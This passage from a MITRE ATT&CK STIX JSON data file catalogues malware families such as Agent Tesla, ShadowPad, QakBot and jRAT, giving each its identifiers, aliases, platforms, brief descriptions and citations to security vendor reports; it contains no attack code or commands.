2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Agent Tesla"],"type":"malware","id":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","created":"2019-01-29T18:44:04.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0331","external_id":"S0331"},{"source_name":"Agent Tesla","description":"(Citation: Fortinet Agent Tesla April 2018)(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)"},{"source_name":"Bitdefender Agent Tesla April 2020","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/"},{"source_name":"Talos Agent Tesla Oct 2018","description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html"},{"source_name":"Malwarebytes Agent Tesla April 2020","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020.","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/"},{"source_name":"DigiTrust Agent Tesla Jan 2017","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/"},{"source_name":"Fortinet Agent Tesla April 2018","description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Pasam"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0208","external_id":"S0208"},{"source_name":"Pasam","description":"(Citation: Symantec Pasam May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2021-01-06T19:32:28.265Z","name":"Pasam","description":"[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["httpclient"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e8268361-a599-4e45-bd3f-71c8c7e700c0","type":"malware","created":"2017-05-31T21:32:45.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0068","external_id":"S0068"},{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-30T18:37:13.552Z","name":"httpclient","description":"[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:13:46.664Z","name":"POWERSTATS","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.3","x_mitre_aliases":["POWERSTATS","Powermud"],"type":"malware","id":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0223","external_id":"S0223"},{"source_name":"Powermud","description":"(Citation: Symantec MuddyWater Dec 2018)"},{"source_name":"POWERSTATS","description":"(Citation: Unit 42 MuddyWater Nov 2017)(Citation: ClearSky MuddyWater Nov 2018)"},{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"Unit 42 MuddyWater Nov 2017","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"},{"source_name":"Symantec MuddyWater Dec 2018","description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["POWERTON"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","type":"malware","created":"2019-04-16T17:43:42.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0371","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0371"},{"description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","source_name":"FireEye APT33 Guardrail"}],"modified":"2020-03-25T16:21:36.260Z","name":"POWERTON","description":"[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ECCENTRICBANDWAGON"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","type":"malware","created":"2021-03-18T16:15:53.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0593","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0593"},{"source_name":"ECCENTRICBANDWAGON","description":"(Citation: CISA EB Aug 2020)"},{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-10-15T17:28:32.335Z","name":"ECCENTRICBANDWAGON","description":"[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BADNEWS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e9595678-d269-469e-ae6b-75e49259de63","type":"malware","created":"2017-05-31T21:33:14.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0128","external_id":"S0128"},{"source_name":"BADNEWS","description":"(Citation: Forcepoint Monsoon)"},{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2021-06-21T12:32:12.581Z","name":"BADNEWS","description":"[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Linfo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0211","external_id":"S0211"},{"source_name":"Linfo","description":"(Citation: Symantec Linfo May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2021-01-06T19:32:28.394Z","name":"Linfo","description":"[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Goopy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","created":"2020-06-19T20:42:19.258Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0477","url":"https://attack.mitre.org/software/S0477"},{"source_name":"Cybereason Cobalt Kitty 2017","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable.(Citation: Cybereason Cobalt Kitty 2017)","modified":"2022-07-11T20:35:28.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Goopy","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T20:09:03.093Z","name":"ShadowPad","description":"[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["ShadowPad","POISONPLUG.SHADOW"],"type":"malware","id":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","created":"2021-03-23T20:49:39.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0596","external_id":"S0596"},{"source_name":"POISONPLUG.SHADOW","description":"(Citation: FireEye APT41 Aug 2019)"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Securelist ShadowPad Aug 2017","description":"GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021.","url":"https://securelist.com/shadowpad-in-corporate-networks/81432/"},{"source_name":"Recorded Future RedEcho Feb 2021","description":"Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021.","url":"https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf"},{"source_name":"Kaspersky ShadowPad Aug 2017","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:17:12.008Z","name":"Remexi","description":"[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Remexi"],"type":"malware","id":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","created":"2019-04-17T19:18:00.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0375","external_id":"S0375"},{"source_name":"Securelist Remexi Jan 2019","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.","url":"https://securelist.com/chafer-used-remexi-malware/89538/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T15:03:49.408Z","name":"Astaroth","description":"[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.3","x_mitre_contributors":["Carlos Borges, @huntingneo, CIP"],"x_mitre_aliases":["Astaroth","Guildma"],"type":"malware","id":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","created":"2019-04-17T13:46:38.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0373","external_id":"S0373"},{"source_name":"Guildma","description":"(Citation: Securelist Brazilian Banking Malware July 2020)"},{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"},{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"},{"source_name":"Cybereason Astaroth Feb 2019","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-17T16:10:03.901Z","name":"QakBot","description":"[QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_contributors":["Edward Millington","Inna Danilevich, U.S. Bank"],"x_mitre_aliases":["QakBot","Pinkslipbot","QuackBot","QBot"],"type":"malware","id":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","created":"2021-09-27T19:35:35.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0650","external_id":"S0650"},{"source_name":"QuackBot","description":"(Citation: Kaspersky QakBot September 2021)"},{"source_name":"Pinkslipbot","description":"(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)"},{"source_name":"QBot","description":"(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"},{"source_name":"Red Canary Qbot","description":"Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.","url":"https://redcanary.com/threat-detection-report/threats/qbot/"},{"source_name":"Trend Micro Qakbot December 2020","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.","url":"https://success.trendmicro.com/solution/000283381"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-21T15:16:57.038Z","name":"SYSCON","description":"[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["SYSCON"],"type":"malware","id":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","created":"2020-06-02T18:46:58.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0464","external_id":"S0464"},{"source_name":"Unit 42 CARROTBAT November 2018","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/"},{"source_name":"Unit 42 CARROTBAT January 2020","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T03:33:29.192Z","name":"CookieMiner","description":"[CookieMiner](https://attack.mitre.org/software/S0492) is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.(Citation: Unit42 CookieMiner Jan 2019)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["CookieMiner"],"type":"malware","id":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","created":"2020-07-22T19:00:00.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0492","external_id":"S0492"},{"source_name":"Unit42 CookieMiner Jan 2019","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020.","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Hancitor","Chanitor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ef2247bf-8062-404b-894f-d65d00564817","type":"malware","created":"2020-08-12T19:32:56.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0499","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0499"},{"source_name":"Chanitor","description":"(Citation: FireEye Hancitor)"},{"source_name":"Threatpost Hancitor","url":"https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/","description":"Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."},{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-10-16T00:41:06.476Z","name":"Hancitor","description":"[Hancitor](https://attack.mitre.org/software/S0499) is a downloader that has been used by [Pony](https://attack.mitre.org/software/S0453) and other information stealing malware.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:28:01.735Z","name":"Gelsemium","description":"[Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://attack.mitre.org/software/S0666) has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Gelsemium","Gelsevirine","Gelsenicine","Gelsemine"],"type":"malware","id":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","created":"2021-11-30T19:02:16.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0666","external_id":"S0666"},{"source_name":"Gelsevirine","description":"(Citation: ESET Gelsemium June 2021)"},{"source_name":"Gelsenicine","description":"(Citation: ESET Gelsemium June 2021)"},{"source_name":"Gelsemine","description":"(Citation: ESET Gelsemium June 2021)"},{"source_name":"ESET Gelsemium June 2021","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-03T19:38:43.114Z","name":"jRAT","description":"[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)","x_mitre_platforms":["Linux","Windows","macOS","Android"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_aliases":["jRAT","JSocket","AlienSpy","Frutas","Sockrat","Unrecom","jFrutas","Adwind","jBiFrost","Trojan.Maljava"],"type":"malware","id":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0283","external_id":"S0283"},{"source_name":"jRAT","description":"(Citation: jRAT Symantec Aug 2018)"},{"source_name":"Trojan.Maljava","description":"(Citation: jRAT Symantec Aug 